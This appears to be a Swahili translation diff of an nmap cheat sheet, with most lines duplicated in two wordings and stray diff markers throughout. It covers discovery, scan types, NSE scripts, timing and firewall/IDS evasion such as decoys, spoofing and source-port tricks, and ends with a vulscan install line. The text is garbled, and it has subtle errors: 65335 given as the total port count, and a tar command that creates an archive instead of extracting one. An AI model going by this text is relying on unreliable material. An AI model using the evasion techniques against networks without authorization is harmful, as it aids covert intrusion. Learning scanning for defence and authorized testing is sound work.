* **`-Pn`**: **Hakuna ping**. Hii ni muhimu ikiwa unajua kuwa zote ziko hai (kama sivyo, unaweza kupoteza muda mwingi, lakini chaguo hili pia husababisha matokeo hasi yakisema kuwa haziko hai), inazuia awamu ya ugunduzi.
|
||||
* **`-sn`** : **Hakuna uchunguzi wa bandari**. Baada ya kukamilisha awamu ya upelelezi, haitafuti bandari. Ni ya siri, na inaruhusu uchunguzi mdogo wa mtandao. Kwa mamlaka inatuma ACK (-PA) kwa 80, SYN(-PS) kwa 443 na ombi la echo na ombi la Timestamp, bila mamlaka daima inakamilisha mawasiliano. Ikiwa lengo ni mtandao, inatumia ARP(-PR). Ikitumiwa pamoja na chaguo lingine, pakiti za chaguo lingine tu ndizo zinazotupiliwa mbali.
|
||||
* **`-Pn`**: **Hakuna ping**. Hii ni muhimu ikiwa unajua kuwa zote ziko hai (kama sivyo, unaweza kupoteza muda mwingi, lakini chaguo hili pia husababisha matokeo hasi yanayosema kuwa haziko hai), inazuia awamu ya ugunduzi.
|
||||
* **`-sn`** : **Hakuna uchunguzi wa bandari**. Baada ya kukamilisha awamu ya upelelezi, haiscan bandari. Ni ya siri, na inaruhusu uchunguzi mdogo wa mtandao. Kwa mamlaka inatuma ACK (-PA) kwa 80, SYN(-PS) kwa 443 na ombi la echo na ombi la Timestamp, bila mamlaka daima inakamilisha mawasiliano. Ikiwa lengo ni mtandao, inatumia ARP(-PR) tu. Ikitumiwa na chaguo lingine, pakiti za chaguo lingine tu zinatupwa.
|
||||
* **`-PR`**: **Ping ARP**. Hutumiwa kwa chaguo-msingi wakati wa kuchambua kompyuta katika mtandao wetu, ni haraka kuliko kutumia pings. Ikiwa hautaki kutumia pakiti za ARP tumia `--send-ip`.
|
||||
* **`-PS <ports>`**: Inatuma pakiti za SYN ambapo ikijibu SYN/ACK inafunguliwa (ikijibu na RST ili kuzuia mawasiliano), ikijibu RST inafungwa na ikijibu kwa kutofautiana inafikika. Ikiwa huna mamlaka, mawasiliano kamili yanatumika moja kwa moja. Ikiwa hakuna bandari zimetolewa, inatuma kwa 80.
|
||||
* **`-PS <ports>`**: Inatuma pakiti za SYN ambazo ikiitikia SYN/ACK inafunguliwa (ikiitikia na RST ili kuzuia mawasiliano), ikiitikia na RST inafungwa na ikiwa haitoi jibu inafikika. Ikiwa huna mamlaka, mawasiliano kamili hutumiwa moja kwa moja. Ikiwa hakuna bandari zilizotolewa, inaituma kwa 80.
|
||||
* **`-PA <ports>`**: Kama ile ya awali lakini na ACK, kuchanganya zote mbili hutoa matokeo bora.
|
||||
* **`-PU <ports>`**: Lengo ni kinyume chake, inatuma kwa bandari ambazo zinatarajiwa kuwa zimefungwa. Baadhi ya firewalls huchunguza tu mawasiliano ya TCP. Ikiwa imefungwa inajibiwa na bandari isiyopatikana, ikiwa inajibiwa na icmp nyingine au haipatikani inaachwa kama isiyopatikana kwa marudio.
|
||||
* **`-PU <ports>`**: Lengo ni kinyume chake, zinatumwa kwa bandari ambazo inatarajiwa kuwa zimefungwa. Baadhi ya firewalls huchunguza tu mawasiliano ya TCP. Ikiwa imefungwa inajibiwa na bandari isiyopatikana, ikiitikia na icmp nyingine au ikiwa haitoi jibu inaachwa kama isiyopatikana.
|
||||
* **`-PE, -PP, -PM`** : ICMP PINGS: jibu la echo, timestamp na addresmask. Hutumwa kujua ikiwa lengo lipo hai.
|
||||
* **`-PY<ports>`**: Inatuma uchunguzi wa SCTP INIT kwa 80 kwa chaguo-msingi, INIT-ACK(funguliwa) au ABORT(fungwa) au hakuna kitu au ICMP isiyopatikana(isiyofanya kazi) inaweza kujibiwa.
|
||||
* **`-PO <protocols>`**: Itifaki inaonyeshwa kwenye vichwa, kwa chaguo-msingi 1(ICMP), 2(IGMP) na 4(Encap IP). Kwa itifaki za ICMP, IGMP, TCP (6) na UDP (17) vichwa vya itifaki vinatumwa, kwa zingine ni kichwa cha IP tu kinatumwa. Lengo la hii ni kwamba kutokana na uharibifu wa vichwa, itifaki isiyopatikana au majibu ya itifaki hiyo hiyo yanajibiwa ili kujua ikiwa iko juu.
|
||||
* **`-PY<ports>`**: Inatuma uchunguzi wa SCTP INIT kwa 80 kwa chaguo-msingi, INIT-ACK(funguliwa) au ABORT(zimefungwa) au hakuna kitu au ICMP isiyopatikana(sio hai) inaweza kujibiwa.
|
||||
* **`-PO <protocols>`**: Itifaki inaonyeshwa kwenye vichwa, kwa chaguo-msingi 1(ICMP), 2(IGMP) na 4(Encap IP). Kwa itifaki za ICMP, IGMP, TCP (6) na UDP (17) vichwa vya itifaki hutumwa, kwa zingine tu kichwa cha IP hutumwa. Lengo la hii ni kwamba kutokana na uharibifu wa vichwa, itifaki isiyopatikana au majibu ya itifaki hiyo hiyo yanajibiwa kujua ikiwa iko juu.
|
||||
* **`-n`**: Hakuna DNS
|
||||
* **`-R`**: DNS daima
|
||||
|
||||
### Mbinu za Uchunguzi wa Bandari
|
||||
|
||||
* **`-sS`**: Haikamilishi mawasiliano hivyo haioni alama, nzuri sana ikiwa inaweza kutumika. (mamlaka) Ni ile inayotumiwa kwa chaguo-msingi.
|
||||
* **`-sS`**: Haikamilishi mawasiliano hivyo haileti alama, nzuri sana ikiwa inaweza kutumika.(mamlaka) Ni ile inayotumiwa kwa chaguo-msingi.
|
||||
* **`-sT`**: Inakamilisha mawasiliano, hivyo inaacha alama, lakini inaweza kutumika kwa uhakika. Kwa chaguo-msingi bila mamlaka.
|
||||
* **`-sU`**: Polepole, kwa UDP. Kwa kiasi kikubwa: DNS(53), SNMP(161,162), DHCP(67 na 68), (-sU53,161,162,67,68): wazi(jibu), imefungwa(bandari isiyopatikana), iliyofungwa (icmp nyingine), wazi/imefungwa (hakuna kitu). Kwa hali ya wazi/imefungwa, -sV inatuma maombi mengi kugundua toleo lolote ambalo nmap inasaidia na inaweza kugundua hali halisi. Inaongeza sana muda.
|
||||
* **`-sU`**: Polepole, kwa UDP. Kwa kiasi kikubwa: DNS(53), SNMP(161,162), DHCP(67 na 68), (-sU53,161,162,67,68): wazi(jibu), imefungwa(bandari isiyopatikana), iliyofutwa (icmp nyingine), wazi/imefungwa (hakuna kitu). Kwa hali ya wazi/imefungwa, -sV inatuma maombi mengi kugundua mojawapo ya toleo ambazo nmap inaunga mkono na inaweza kugundua hali halisi. Inaongeza sana muda.
|
||||
* **`-sY`**: Itifaki ya SCTP haiwezi kuanzisha mawasiliano, hivyo hakuna kumbukumbu, inafanya kazi kama -PY
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, wanaweza kuingia kwenye baadhi ya firewalls na kutoa habari. Wanategemea ukweli kwamba mashine zinazofuata viwango zinapaswa kujibu na RST maombi yote ambayo hayana SYN, RST au ACK zilizoinuliwa: wazi/imefungwa(hakuna kitu), imefungwa(RST), iliyofungwa (icmp isiyopatikana). Sio ya kuaminika kwenye Windows, CIsco, BSDI na OS/400. Kwenye unix ndio.
|
||||
* **`-sM`**: Uchunguzi wa Maimon: Inatuma alama za FIN na ACK, hutumiwa kwa BSD, kwa sasa itarudisha zote kama zilizofungwa.
|
||||
* **`-sA, sW`**: ACK na Window, hutumiwa kugundua firewalls, kujua ikiwa bandari zimezuiwa au la. -sW inatofautisha kati ya wazi/imefungwa kwani zile zilizofunguliwa zinajibu na thamani tofauti ya dirisha: wazi (RST na dirisha tofauti na 0), imefungwa (RST dirisha = 0), iliyofungwa (icmp isiyopatikana au hakuna kitu). Sio kompyuta zote hufanya kazi kwa njia hii, hivyo ikiwa zote zimefungwa, haifanyi kazi, ikiwa chache zimefunguliwa, inafanya kazi vizuri, na ikiwa nyingi zimefunguliwa na chache zimefungwa, inafanya kazi kinyume.
|
||||
* **`-sI`:** Uchunguzi wa Kimya. Kwa kesi ambapo kuna firewall inayofanya kazi lakini tunajua kuwa haizuii kwa Ip fulani (au tunapotaka tu kutokuwa na utambulisho) tunaweza kutumia skana ya zombie (inatumika kwa bandari zote), kutafuta zombies inayowezekana tunaweza kutumia skrini ya ipidseq au kuchunguza msaidizi/scanner/ip/ipidseq. Skana hii inategemea nambari ya IPID ya pakiti za IP.
|
||||
* **`--badsum`:** Inatuma jumla isiyo sahihi, kompyuta zingetupa pakiti, lakini firewalls zingeweza kujibu kitu, hutumiwa kugundua firewalls.
|
||||
* **`-sZ`:** Skana ya SCTP "isiyo ya kawaida", wakati wa kutuma uchunguzi na vipande vya cookie echo vinapaswa kutupwa ikiwa wazi au kujibiwa na ABORT ikiwa imefungwa. Inaweza kupita kwenye firewalls ambazo init haitapita, baya ni kwamba haitofautishi kati ya zilizofungwa na wazi.
|
||||
* **`-sO`:** Uchunguzi wa Itifaki ya Ip. Inatuma vichwa vibaya na tupu ambapo mara nyingine hata itifaki haiwezi kutofautishwa. Ikiwa itifaki isiyopatikana inafika imefungwa, ikiwa itifaki ya bandari isiyopatikana inafika imefunguliwa, ikiwa kosa lingine linapokelewa, imezuiwa, ikiwa hakuna kitu kinapokelewa, imefunguliwa|imezuiwa.
|
||||
* **`-b <server>`:** FTPhost--> Hutumiwa kutafuta mwenyeji kutoka kwa mwingine, hii inafanywa kwa kuunganisha ftp ya mashine nyingine na kuomba kutuma faili kwa bandari unazotaka kutafuta kutoka kwa mashine nyingine, kulingana na majibu tutajua ikiwa zimefunguliwa au la. \[\<user>:\<password>@]\<server>\[:\<port>] Karibu seva zote za ftp haziruhusu tena kufanya hivi na kwa hivyo ni ya matumizi kidogo.
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, wanaweza kuingia kwenye baadhi ya firewalls na kutoa taarifa. Zinategemea ukweli kwamba mashine zinazofuata viwango zinapaswa kujibu na RST maombi yote ambayo hayana SYN, RST au ACK lags zilizoinuliwa: wazi/imefungwa(hakuna kitu), imefungwa(RST), iliyofutwa (icmp isiyopatikana). Sio za kuaminika kwenye Windows, CIsco, BSDI na OS/400. Kwenye unix ndio.
|
||||
* **`-sM`**: Uchunguzi wa Maimon: Inatuma alama za FIN na ACK, hutumiwa kwa BSD, kwa sasa itarudisha zote kama zimefungwa.
|
||||
* **`-sA, sW`**: ACK na Window, hutumiwa kugundua firewalls, kujua ikiwa bandari zimezuiwa au la. -sW inatofautisha kati ya wazi/imefungwa kwani zile zilizofunguliwa zinajibu na thamani tofauti ya dirisha: wazi (RST na dirisha tofauti na 0), imefungwa (RST dirisha = 0), iliyofutwa (icmp isiyopatikana au hakuna kitu). Sio kompyuta zote hufanya kazi kwa njia hii, hivyo ikiwa zote zimefungwa, haifanyi kazi, ikiwa chache zimefunguliwa, inafanya kazi vizuri, na ikiwa nyingi zimefunguliwa na chache zimefungwa, inafanya kazi kinyume.
|
||||
* **`-sI`:** Uchunguzi wa Kusubiri. Kwa kesi ambapo kuna firewall inayofanya kazi lakini tunajua kuwa haitafuti kwa Ip fulani (au tunapotaka tu kutokuwa na utambulisho) tunaweza kutumia skana ya zombie (inatumika kwa bandari zote), kutafuta zombies inayowezekana tunaweza kutumia skipti ya ipidseq au kuchunguza auxiliary/scanner/ip/ipidseq. Skana hii inategemea nambari ya IPID ya pakiti za IP.
|
||||
* **`--badsum`:** Inatuma jumla isiyo sahihi, kompyuta zingelazimika kukataa pakiti, lakini firewalls zinaweza kujibu kitu, hutumiwa kugundua firewalls.
|
||||
* **`-sZ`:** Skana ya SCTP "Weird", wakati wa kutuma uchunguzi na vipande vya cookie echo vinapaswa kutupwa ikiwa zimefunguliwa au kujibiwa na ABORT ikiwa zimefungwa. Inaweza kupita kwenye firewalls ambazo init haitapita, baya ni kwamba haitofautishi kati ya zilizofunguliwa na zilizofungwa.
|
||||
* **`-sO`:** Uchunguzi wa Itifaki ya Ip. Inatuma vichwa vibaya na tupu ambapo mara nyingine hata itifaki haiwezi kutofautishwa. Ikiwa itifaki isiyopatikana ya ICMP inawasili inafungwa, ikiwa bandari isiyopatikana inawasili inafunguliwa, ikiwa kosa lingine linawasili, imefungwa, ikiwa hakuna kitu kinawasili, wazi|imefungwa.
|
||||
* **`-b <server>`:** FTPhost--> Hutumiwa kuchunguza mwenyeji kutoka kwa mwingine, hii inafanywa kwa kuunganisha ftp ya mashine nyingine na kuomba itume faili kwa bandari unazotaka kuchunguza kutoka kwa mashine nyingine, kulingana na majibu tutajua ikiwa zimefunguliwa au la. \[\<user>:\<password>@]\<server>\[:\<port>] Karibu seva zote za ftp haziruhusu tena kufanya hivi na kwa hivyo ni ya matumizi kidogo.
|
||||
|
||||
### **Uchambuzi wa Kati**
|
||||
### **Kati ya Uchambuzi**
|
||||
|
||||
**-p:** Inatumika kutoa bandari za kutafuta. Kuchagua 65335: **-p-** au **-p all**. Nmap ina uainishaji wa ndani kulingana na umaarufu wake. Kwa chaguo-msingi hutumia 1000 kuu. Kwa **-F** (uchunguzi wa haraka) huchunguza 100 kuu. Kwa **--top-ports \<numero>** Huchunguza idadi hiyo ya kuu (kutoka 1 hadi 65335). Huchunguza bandari kwa mpangilio wa nasibu, ili hilo lisitoke **-r**. Pia tunaweza kuchagua bandari: 20-30,80,443,1024- Hii ya mwisho inamaanisha kuangalia mbele ya 1024. Pia tunaweza kugawa bandari kwa itifaki: U:53,T:21-25,80,139,S:9. Pia tunaweza kuchagua kikundi cha bandari ndani ya kuu maarufu za nmap: -p \[-1024] huchunguza hadi 1024 zilizomo katika huduma za nmap. **--port-ratio \<ratio>** Huchunguza bandari za kawaida zaidi kuliko uwiano ambao lazima uwe kati ya 0 na 1
|
||||
**-p:** Inatumika kutoa bandari za kuchunguza. Kuchagua 65335: **-p-** au **-p all**. Nmap ina uainishaji wa ndani kulingana na umaarufu wake. Kwa chaguo-msingi hutumia 1000 kuu. Kwa **-F** (uchunguzi wa haraka) huchunguza 100 kuu. Kwa **--top-ports \<numero>** Huchunguza idadi hiyo ya kuu (kutoka 1 hadi 65335). Huchunguza bandari kwa mpangilio wa nasibu, ili hilo lisitoke **-r**. Pia tunaweza kuchagua bandari: 20-30,80,443,1024- Hii ya mwisho inamaanisha kuangalia mbele ya 1024. Pia tunaweza kugawa bandari kwa itifaki: U:53,T:21-25,80,139,S:9. Pia tunaweza kuchagua kikundi cha bandari ndani ya kuu za nmap: -p \[-1024] huchunguza hadi 1024 kati ya zile zilizojumuishwa katika huduma za nmap. **--port-ratio \<ratio>** Huchunguza bandari za kawaida zaidi kuliko uwiano ambao lazima uwe kati ya 0 na 1
|
||||
|
||||
**-sV** Uchunguzi wa toleo, unaweza kudhibiti ukali kutoka 0 hadi 9, kwa chaguo-msingi 7.
|
||||
|
||||
**--version-intensity \<numero>** Tunadhibiti ukali, hivyo kadri chini itatuma tu majaribio yanayowezekana zaidi, lakini sio yote. Hii inaweza kupunguza sana muda wa uchunguzi wa UDP
|
||||
|
||||
**-O** Ugunduzi wa os
|
||||
**-O** Uchunguzi wa OS
|
||||
|
||||
**--osscan-limit** Ili kuchunguza mwenyeji vizuri inahitajika angalau kuwepo na bandari moja iliyofunguliwa na nyingine imefungwa, ikiwa hali hii haipo na tumeiweka hii, haitajaribu kutabiri os (inapunguza muda)
|
||||
**--osscan-guess** Wakati uchunguzi wa mfumo wa uendeshaji si kamili hii inafanya iwe ngumu zaidi
|
||||
**--osscan-limit** Ili kuchunguza mwenyeji vizuri inahitajika kuwa angalau bandari 1 iko wazi na nyingine imefungwa, ikiwa hali hii haipo na tumeiweka hii, haitajaribu kutabiri os (inapunguza muda)
|
||||
**--osscan-guess** Wakati upelelezi wa os si kamili hii inafanya iwe ngumu zaidi
|
||||
|
||||
**Scripts**
|
||||
|
||||
\--script _\<jina la faili>_|_\<jamii>_|_\<directory>_|_\<expression>_\[,...]
|
||||
|
||||
Kutumia zile za msingi kwa chaguo la -sC au --script=default
|
||||
Kutumia zile za msingi, tumia -sC au --script=default
|
||||
|
||||
Aina zilizopo ni: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, na vuln
|
||||
|
||||
* **Auth:** hutekeleza zote zilizopo kwa uthibitishaji
|
||||
* **Auth:** hutekeleza zote zilizopo kwa ajili ya uthibitisho
|
||||
* **Default:** hutekeleza zile za msingi za zana
|
||||
* **Discovery:** hupata taarifa kuhusu lengo au mhanga
|
||||
* **External:** script kwa kutumia rasilimali za nje
|
||||
* **Intrusive:** hutumia script zinazochukuliwa kuwa za kuvamia kwa lengo au mhanga
|
||||
* **Malware:** huchunguza kama kuna uhusiano wa wazi kwa nambari za hasidi au mlango wa nyuma
|
||||
* **Malware:** huchunguza kama kuna uhusiano wa wazi kwa njia ya kanuni hasidi au mlango wa nyuma
|
||||
* **Safe:** hutekeleza script ambazo si za kuvamia
|
||||
* **Vuln:** hufunua mapungufu maarufu zaidi
|
||||
* **All:** hutekeleza kikamilifu script zote za NSE zilizopo
|
||||
|
|
@ -113,39 +114,39 @@ Kutafuta scripts:
|
|||
|
||||
\--script-updatedb
|
||||
|
||||
**Kutumia script ni rahisi tu: nmap --script Jina\_la\_script lengo** --> Kwa kuweka script, script na skana zitatekelezwa, hivyo pia unaweza kuongeza **“safe=1”** ili zitekelezwe tu zile salama.
|
||||
**Kutumia script moja tu, weka: nmap --script Jina\_la\_script lengo** --> Kwa kuweka script, script na skana zitatekelezwa, hivyo unaweza pia kuongeza **“safe=1”** ili zitekelezwe tu zile salama.
|
||||
|
||||
**Kudhibiti Wakati**
|
||||
|
||||
**Nmap inaweza kurekebisha wakati kwa sekunde, dakika, ms:** --host-timeout arguments 900000ms, 900, 900s, na 15m yote yanafanya kitu kimoja.
|
||||
|
||||
Nmap huchukua idadi ya jumla ya vifaa vya kuchunguza na kugawanya katika vikundi na kuchambua vikundi hivyo kwa mafungu ili mpaka vyote vichunguzwe, haitoi kwa kundi la pili (na mtumiaji pia hupokea sasisho lolote hadi kundi limechambuliwa) kwa njia hii, ni bora kwa nmap kutumia vikundi vikubwa. Kwa chaguo-msingi katika darasa C hutumia 256.
|
||||
Nmap huchukua idadi ya jumla ya vifaa vya kuchunguza na kugawanya katika vikundi na kuchambua vikundi hivyo kwa mafungu ili hadi itakapochunguzwa yote, haitapita kwa kikundi kinachofuata (na mtumiaji pia hataki kupokea sasisho mpaka kikundi kimechambuliwa) kwa njia hii, ni bora kwa nmap kutumia vikundi vikubwa. Kwa msingi, inatumia 256 katika darasa C.
|
||||
|
||||
Inaweza kubadilishwa na\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Kurekebisha ukubwa wa vikundi vya uchunguzi wa pamoja)
|
||||
|
||||
Inaweza kudhibiti idadi ya skana kwa pamoja lakini ni bora kutofanya hivyo (nmap tayari ina udhibiti wa moja kwa moja kulingana na hali ya mtandao): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
|
||||
Tunaweza kurekebisha rtt timeout, lakini mara nyingi si lazima: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
Tunaweza kurekebisha rtt timeout, lakini mara nyingi sio lazima: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
|
||||
Tunaweza kurekebisha idadi ya majaribio:**--max-retries** _**\<numtries>**_
|
||||
|
||||
Tunaweza kurekebisha wakati wa kuchunguza kifaa: **--host-timeout** _**\<time>**_
|
||||
|
||||
Tunaweza kurekebisha wakati kati ya kila jaribio ili liende polepole: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
Tunaweza kurekebisha wakati kati ya kila jaribio ili iende polepole: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
|
||||
Tunaweza kurekebisha idadi ya pakiti kwa sekunde: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
|
||||
Bandari nyingi huchukua muda mrefu kujibu kwa kuwa zimezuiwa au zimefungwa, ikiwa tunataka tu zile zilizofunguliwa, tunaweza kwenda haraka zaidi na: **--defeat-rst-ratelimit**
|
||||
Baadhi ya bandari huchukua muda mrefu kujibu kwa kuwa zimezuiwa au zimefungwa, ikiwa tunataka tu zile zilizofunguliwa, tunaweza kwenda haraka zaidi na: **--defeat-rst-ratelimit**
|
||||
|
||||
Kuamua jinsi kali tunavyotaka nmap iwe: -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
|
||||
\-T (0-1)
|
||||
|
||||
\-T0 --> Inachunguza bandari 1 kwa wakati mmoja na inangojea dakika 5 hadi inayofuata
|
||||
\-T0 --> Inachunguza bandari 1 kwa wakati na kusubiri dakika 5 hadi baada ya hapo
|
||||
|
||||
\-T1 na T2 --> Sawa sana lakini zinangojea sekunde 15 na 0.4 kati ya majaribio
|
||||
\-T1 na T2 --> Sawa sana lakini zinangoja sekunde 15 na 0.4 kati ya majaribio
|
||||
|
||||
\-T3 --> Kazi ya chaguo-msingi, inajumuisha kwa pamoja
|
||||
\-T3 --> Kazi ya msingi, inajumuisha kwa pamoja
|
||||
|
||||
\-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms
|
||||
|
||||
|
|
@ -153,27 +154,27 @@ Kuamua jinsi kali tunavyotaka nmap iwe: -T paranoid|sneaky|polite|normal|aggress
|
|||
|
||||
**Firewall/IDS**
|
||||
|
||||
Huzuia kupitisha bandari na kuchambua pakiti.
|
||||
Huzuia kupita kwa bandari na kuchambua pakiti.
|
||||
|
||||
**-f** Kugawanya pakiti, kwa chaguo-msingi inagawa kwa 8bytes baada ya kichwa, kwa kubainisha ukubwa huo tunatumia ..mtu (kwa hili, usitumie -f), offset lazima iwe maradufu ya 8. **Skana za toleo na scripts hazisaidii kugawanyika**
|
||||
**-f** Kugawanya pakiti, kwa msingi inagawa kwa 8bytes baada ya kichwa, kwa kubainisha ukubwa huo tunatumia ..mtu (kwa hili, usitumie -f), offset inapaswa kuwa maradufu ya 8. **Skana za toleo na scripts hazisaidii kugawanyika**
|
||||
|
||||
**-D decoy1,decoy2,ME** Nmap hutoa skana lakini na anwani za IP nyingine kama asili, hivyo kukuficha. Ikiwa unaweka ME kwenye orodha, nmap itakupa hapo, ni bora kuweka 5 au 6 kabla yako ili kukuficha kabisa. Inaweza kuzalisha IPs za kubahatisha na RND:\<nambari> Ili kuzalisha \<nambari> ya IPs za kubahatisha. Hazifanyi kazi na detector ya toleo bila uhusiano wa TCP. Ikiwa uko ndani ya mtandao, ni bora kutumia IPs zilizo hai, vinginevyo itakuwa rahisi sana kugundua kuwa wewe ndiye pekee aliye hai.
|
||||
**-D decoy1,decoy2,ME** Nmap inatuma skana lakini na anwani za IP nyingine kama asili, hivyo kukuficha. Ikiweka ME kwenye orodha, nmap itakupa mahali hapo, ni bora kuweka 5 au 6 kabla yako ili kukuficha kabisa. Inaweza kuzalisha IPs za kubahatisha na RND:\<nambari> Ili kuzalisha IPs za kubahatisha. Hazifanyi kazi na detector ya toleo bila uhusiano wa TCP. Ikiwa upo ndani ya mtandao, ni bora kutumia IPs zilizo hai, vinginevyo itakuwa rahisi kugundua kuwa wewe ndiye pekee aliye hai.
|
||||
|
||||
Kutumia IPs za kubahatisha: nmap-D RND: 10 Ip\_lengo
|
||||
|
||||
**-S IP** Ikiwa Nmap haijapata anwani yako ya IP unapaswa kuipeana hiyo. Pia inafaa kufanya iweze kufikiri kuwa kuna lengo lingine linawachunguza.
|
||||
**-S IP** Ikiwa Nmap haijapata anwani yako ya IP unapaswa kuipea kwa hilo. Pia inafaa kufanya iweze kufikiri kuwa kuna lengo lingine linachunguza.
|
||||
|
||||
**-e \<interface>** Kuchagua kiolesura
|
||||
|
||||
Wengi wa wasimamizi huacha bandari za kuingilia wazi ili kila kitu kifanye kazi vizuri na ni rahisi kwao kuliko kutafuta suluhisho lingine. Hizi zinaweza kuwa bandari za DNS au FTP... kwa kutafuta udhaifu huu nmap inajumuisha: **--source-port** _**\<nambari ya mlango>**_**;-g** _**\<nambari ya mlango>**_ _Zinafaana_
|
||||
Wengi wa wasimamizi huacha bandari za kuingia wazi ili kila kitu kifanye kazi vizuri na ni rahisi kwao kuliko kutafuta suluhisho lingine. Hizi zinaweza kuwa bandari za DNS au FTP... kwa kutafuta udhaifu huu nmap inajumuisha: **--source-port** _**\<nambari ya bandari>**_**;-g** _**\<nambari ya bandari>**_ _Zinafaana_
|
||||
|
||||
**--data** _**\<herufi za hexadecimal>**_ Kutuma maandishi ya hexadecimal: --data 0xdeadbeef na --data \xCA\xFE\x09
|
||||
**--data** _**\<hex string>**_ Kutuma maandishi ya hexadecimal: --data 0xdeadbeef na --data \xCA\xFE\x09
|
||||
|
||||
**--data-string** _**\<maandishi>**_ Kutuma maandishi ya kawaida: --data-string "Uchunguzi uliofanywa na Operesheni ya Usalama, upanuzi 7192"
|
||||
**--data-string** _**\<string>**_ Kutuma maandishi ya kawaida: --data-string "Uchunguzi uliofanywa na Operesheni ya Usalama, upanuzi 7192"
|
||||
|
||||
**--data-length** _**\<nambari>**_ Nmap inatuma vichwa tu, hivyo tunaweza kuongeza idadi ya bayti zaidi (ambazo zitazalishwa kwa kubahatisha)
|
||||
|
||||
Kuweka pakiti ya IP kabisa kutumia **--ip-options**
|
||||
Kuweka pakiti ya IP kikamilifu kutumia **--ip-options**
|
||||
|
||||
Ikiwa unataka kuona chaguo katika pakiti zilizotumwa na kupokelewa, eleza --packet-trace. Kwa habari zaidi na mifano ya kutumia chaguo za IP na Nmap, angalia [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52).
|
||||
|
||||
|
|
@ -182,9 +183,9 @@ Ikiwa unataka kuona chaguo katika pakiti zilizotumwa na kupokelewa, eleza --pack
|
|||
**--randomize-hosts** Ili shambulio liwe lisilo dhahiri
|
||||
|
||||
**--spoof-mac** _**\<anwani ya MAC, kiambishi, au jina la muuzaji>**_ Kubadilisha MAC mfano: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, na Cisco
|
||||
**--proxies** _**\<Orodha ya URL za proksi zilizotenganishwa na koma>**_ Ili kutumia proksi, mara nyingi proksi moja haitunzi idadi kubwa ya uhusiano wazi kama inavyotaka nmap hivyo inaweza kuhitaji kurekebisha upatanishi: --max-parallelism
|
||||
**--proxies** _**\<Orodha ya URL za proksi zilizotenganishwa na koma>**_ Ili kutumia proksi, mara nyingi proksi moja haitunzi idadi kubwa ya uhusiano wazi kama nmap inavyotaka, hivyo ni lazima kurekebisha upatanishi: --max-parallelism
|
||||
|
||||
**-sP** Ili kugundua mwenyeji kwenye mtandao tunao kwa ARP
|
||||
**-sP** Kugundua mwenyeji kwenye mtandao tunaojiunga naye kupitia ARP
|
||||
|
||||
Waadiministrata wengi huanzisha sheria kwenye firewall inayoruhusu pakiti zote zinazotoka kwenye bandari fulani (kama 20, 53, na 67) kupita, tunaweza kuambia nmap itume pakiti zetu kutoka kwenye bandari hizo: **nmap --source-port 53 Ip**
|
||||
|
||||
|
|
@ -204,13 +205,13 @@ Waadiministrata wengi huanzisha sheria kwenye firewall inayoruhusu pakiti zote z
|
|||
|
||||
**-d kiwango** kurekebisha hitilafu
|
||||
|
||||
**--reason** Kwa nini ya mwenyeji na hali
|
||||
**--reason** Kwa nini wa mwenyeji na hali
|
||||
|
||||
**--stats-every muda** Kila muda huo inatuambia jinsi inavyokwenda
|
||||
**--stats-every muda** Kila baada ya muda huo inatuambia jinsi inavyokwenda
|
||||
|
||||
**--packet-trace** Ili kuona ni pakiti zipi zinazotoka, unaweza kutoa maelezo ya ziada kama: --version-trace au --script-trace
|
||||
**--packet-trace** Ili kuona ni pakiti zipi zinazotoka, unaweza kutoa maelezo maalum kama: --version-trace au --script-trace
|
||||
|
||||
**--open** inaonyesha wazi, wazi|yaliyofutwa, na yasiyofutwa
|
||||
**--open** inaonyesha wazi, wazi|imetiliana na zisizotiliana
|
||||
|
||||
**--resume faili** Inatoa muhtasari
|
||||
|
||||
|
|
@ -218,19 +219,19 @@ Waadiministrata wengi huanzisha sheria kwenye firewall inayoruhusu pakiti zote z
|
|||
|
||||
**-6** Inaruhusu ipv6
|
||||
|
||||
**-A** ni sawa na -O -sV -sC --traceroute
|
||||
**-A** Ni sawa na -O -sV -sC --traceroute
|
||||
|
||||
**Muda wa Kutekelezwa**
|
||||
**Muda wa Kutekeleza**
|
||||
|
||||
Wakati nmap inakimbia tunaweza kubadilisha chaguo:
|
||||
Wakati nmap inakimbia, tunaweza kubadilisha chaguo:
|
||||
|
||||
v / V Ongeza / punguza kiwango cha maelezo
|
||||
|
||||
d / D Ongeza / punguza kiwango cha kutatua hitilafu
|
||||
d / D Ongeza / punguza kiwango cha kurekebisha
|
||||
|
||||
p / P Weka / toa ufuatiliaji wa pakiti
|
||||
p / P Weka / Ondoa ufuatiliaji wa pakiti
|
||||
|
||||
? Chapisha skrini ya msaada wa mwingiliano wa wakati wa kutekelezwa
|
||||
? Chapisha skrini ya msaada wa mwingiliano wa wakati wa kutekeleza
|
||||
|
||||
**Vulscan**
|
||||
|
||||
|
|
@ -247,11 +248,11 @@ Hifadhidata anazotumia ni:
|
|||
7. Exploitdb.csv | [http://www.exploit-db.com](http://www.exploit-db.com/)
|
||||
8. Openvas.csv | [http://www.openvas.org](http://www.openvas.org/)
|
||||
|
||||
Ili kuipakua na kuaislisha kwenye folda ya Nmap:
|
||||
Ili kupakua na kusakinisha kwenye folda ya Nmap:
|
||||
|
||||
wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
|
||||
|
||||
